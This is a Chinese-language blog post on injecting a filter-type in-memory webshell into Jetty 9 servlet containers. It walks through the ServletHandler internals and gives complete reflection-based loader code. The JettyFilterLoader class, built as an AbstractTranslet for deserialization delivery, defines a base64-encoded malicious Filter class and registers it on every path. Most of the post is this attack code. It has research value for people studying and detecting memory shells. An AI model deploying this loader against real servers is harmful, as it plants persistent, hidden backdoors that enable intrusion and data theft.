Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
Jetty 9.0.7
HelloFilter
package com.example.JettyDemo; import javax.servlet.*; import javax.servlet.annotation.*; import java.io.IOException; @WebFilter(filterName = "HelloFilter",urlPatterns = "/hello") public class HelloFilter implements Filter { public void init(FilterConfig config) throws ServletException { } public void destroy() { } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { response.getWriter().println("HelloFilter work"); chain.doFilter(request, response); } }
在servlet打下断点,查看调用栈,在ServletHandler中第一次出现了和filter相关的信息,可以看出调用栈在经ServletHandler后构造filter相关的信息。个人理解,直接寻找第一出现和filtes相关信息的调用栈,可以快速定位获取上下文的内容。比如这里,就看出我们需要获取ServletHanlder。
找到第一次调用doFilter
的地方,ServletHandler::doHandle
中第一次调用了doFilter,chain.doFilter()
。考虑chain是如何生成的。
ServletHandler::doHandle
中定义了chain(FilterChain)类型
,接着调用了getFilterChain
,跟进查看getFilterChain
,该函数构造FilterChain。
在该函数中打下断点,跟进到该函数中,重启服务器。这里实例化了一个filters,接下来的操作就是遍历_filterPathMappings
中的元素,从中获取元素中的_Holder
(FilterHolder类型)
接着经过new ServletHandler.CacheChain(filers,servletHolder)
,会将filters中的信息存入chain,然后返回chain。
继续往上跟进,观察_filterPathMappings
如何生成的。观察调用栈可以发现,在第一次调用ServletHandler
的时候,在实例化的ServletHandler
对象中有this._filterPathMappings
,那么可以理解为获取到ServletHandler对象
就能获取到_filterPathMappings
所以如何将恶意filter注入的关键在于在_filterPathMappings
中添加必要的元素。需要往filerPathMappings中添加FilterMapping类型的元素。根据经验,可以假设FilterMapping中需要包含如下三个变量。
思路如下:
1、获取ServletHandler 2、获取_filterPathMappings 3、往_filterPathMappings中添加元素FilterMapping的实例化对象 其中该实例化对象包含三个变量:分别是_filterName,_holder,_pathSpecs
快速定位上下文
// 设置搜索类型包含Request关键字的对象 java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>(); keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("org.eclipse.jetty.servlet.ServletHandler.").build()); // 定义黑名单 java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>(); blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build()); // 新建一个广度优先搜索Thread.currentThread()的搜索器 me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); // 打开调试模式,会生成log日志 searcher.setIs_debug(true); // 挖掘深度为20 searcher.setMax_search_depth(20); // 设置报告保存位置 searcher.setReport_save_path("/Users/lishuheng/Documents/CodeFile/java/MiddleWare/logs/jetty"); searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;} ---> [8] = {java.lang.Thread} = {java.lang.Thread} ---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader} ---> _context = {org.eclipse.jetty.webapp.WebAppContext} ---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}
获取_servletHandler
Object obj = Thread.currentThread(); Field field = obj.getClass().getDeclaredField("contextClassLoader"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("_context"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getSuperclass().getDeclaredField("_servletHandler"); field.setAccessible(true); obj = field.get(obj);
private static synchronized void InjectFilter(){ ... //假定已经获取到ServletHandler ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings"); ... } private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); }
这里需要注意的是,当我企图直接实例化一个FilterMapping的时候,系统报错如下:
但是在Jetty的依赖包中又确实有这个类。暂时存疑。
这里提供两种解决思路
思路一:
干脆直接用反射的方式去构造FilterMapping,如下:
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor(); constructor2.setAccessible(true); Object filterHolder = constructor2.newInstance(); Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class); setFilter.invoke(filterHolder,HFilter); Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class); setName.invoke(filterHolder,filterName); Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor(); constructor.setAccessible(true); Object filterMapping = constructor.newInstance();
实例化FilterMapping对象包含三个变量,分别是_filterName,_holder,_pathSpecs
的原因是
_pathSpecs
在ServletHandler:getFilterChain()
中的appliesTo()
函数
该函数将实际访问的路由与filterMapping._pathSpecs
中所定义的路由进行匹配,匹配正确则为true。
接着调用filterPathMapping.getFilterHolder()
,获取filterMapping
中的_holder
,
FilterHolder中包含了Filter的各项信息。
_filterName
实际上并非必要,因为通过调试可知,当获取到_holder的值之后,_holder
中同样也能获取到_filtername
,而且会自动赋值到_filterName
中。
具体代码如下:
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class); setFilterName.invoke(filterMapping,filterName); Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass()); setFilterHolder.setAccessible(true); setFilterHolder.invoke(filterMapping,filterHolder); String pathSpecs = url; Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class); setPathSpec.invoke(filterMapping,pathSpecs); filterPathMappings.add(filterMapping);
思路二:
在org.eclipse.jetty.servlet.ServletHandler
中有方法addFilterWithMapping
可以向_filterPathMappings(ArrayList类型)
中添加FilterMapping类型的元素
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder; import javax.servlet.Filter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; public class JettyFilterLoader extends AbstractTranslet { private static Object servletHandler = null; private static String filterName = "HFilter"; private static String filterClassName = "com.HFilter"; private static String url = "/*"; private static synchronized void LoadFilter() throws Exception { try{ Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); }catch (Exception e){ Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); a.setAccessible(true); byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64"); a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length); } } //获取上下文 public static synchronized void GetWebContent() throws Exception { try{ Thread currentThread = Thread.currentThread(); Object contextClassLoader = GetField(currentThread, "contextClassLoader"); Object _context = GetField(contextClassLoader,"_context"); servletHandler = GetField(_context,"_servletHandler"); }catch (Exception e){ e.printStackTrace(); } } private static synchronized void InjectFilter() throws Exception { if(servletHandler != null){ //方法一 Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings"); Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor(); constructor2.setAccessible(true); Object filterHolder = constructor2.newInstance(); Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class); setFilter.invoke(filterHolder,HFilter); Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class); setName.invoke(filterHolder,filterName); Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor(); constructor.setAccessible(true); Object filterMapping = constructor.newInstance(); Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class); setFilterName.invoke(filterMapping,filterName); Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass()); setFilterHolder.setAccessible(true); setFilterHolder.invoke(filterMapping,filterHolder); String pathSpecs = url; Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class); setPathSpec.invoke(filterMapping,pathSpecs); filterPathMappings.add(filterMapping); System.out.println("123"); /* //方法二 Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName); Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE); addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1); //使用addFilterWithMapping有个问题,动态添加FilterMapping时,其dispatches可能会与已加载到内存中的FilterMapping重复了,因此需要调整元素在_filterPathMappings中的位置 Object filterMaps = GetField(servletHandler, "_filterMappings"); Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)]; int n = 1; int j; for(j = 0; j < Array.getLength(filterMaps); ++j) { Object filter = Array.get(filterMaps, j); String filterName = (String)GetField(filter, "_filterName"); if (filterName.contains(HFilter.getName())) { tmpFilterMaps[0] = filter; } else { tmpFilterMaps[n] = filter; ++n; } } for(j = 0; j < tmpFilterMaps.length; ++j) { Array.set(filterMaps, j, tmpFilterMaps[j]); }*/ } } private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); } private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException { Method method = null; Class clazz = obj.getClass(); while(clazz != Object.class) { try { method = clazz.getDeclaredMethod(methodName, paramClazz); break; } catch (NoSuchMethodException var6) { clazz = clazz.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } else { method.setAccessible(true); return method; } } static { new JettyFilterLoader(); } public JettyFilterLoader(){ try{ LoadFilter(); GetWebContent(); InjectFilter(); }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
为什么实例化FilterMapping时会存在找不到该类的问题,望赐教。如有分析不对的地方,望斧正。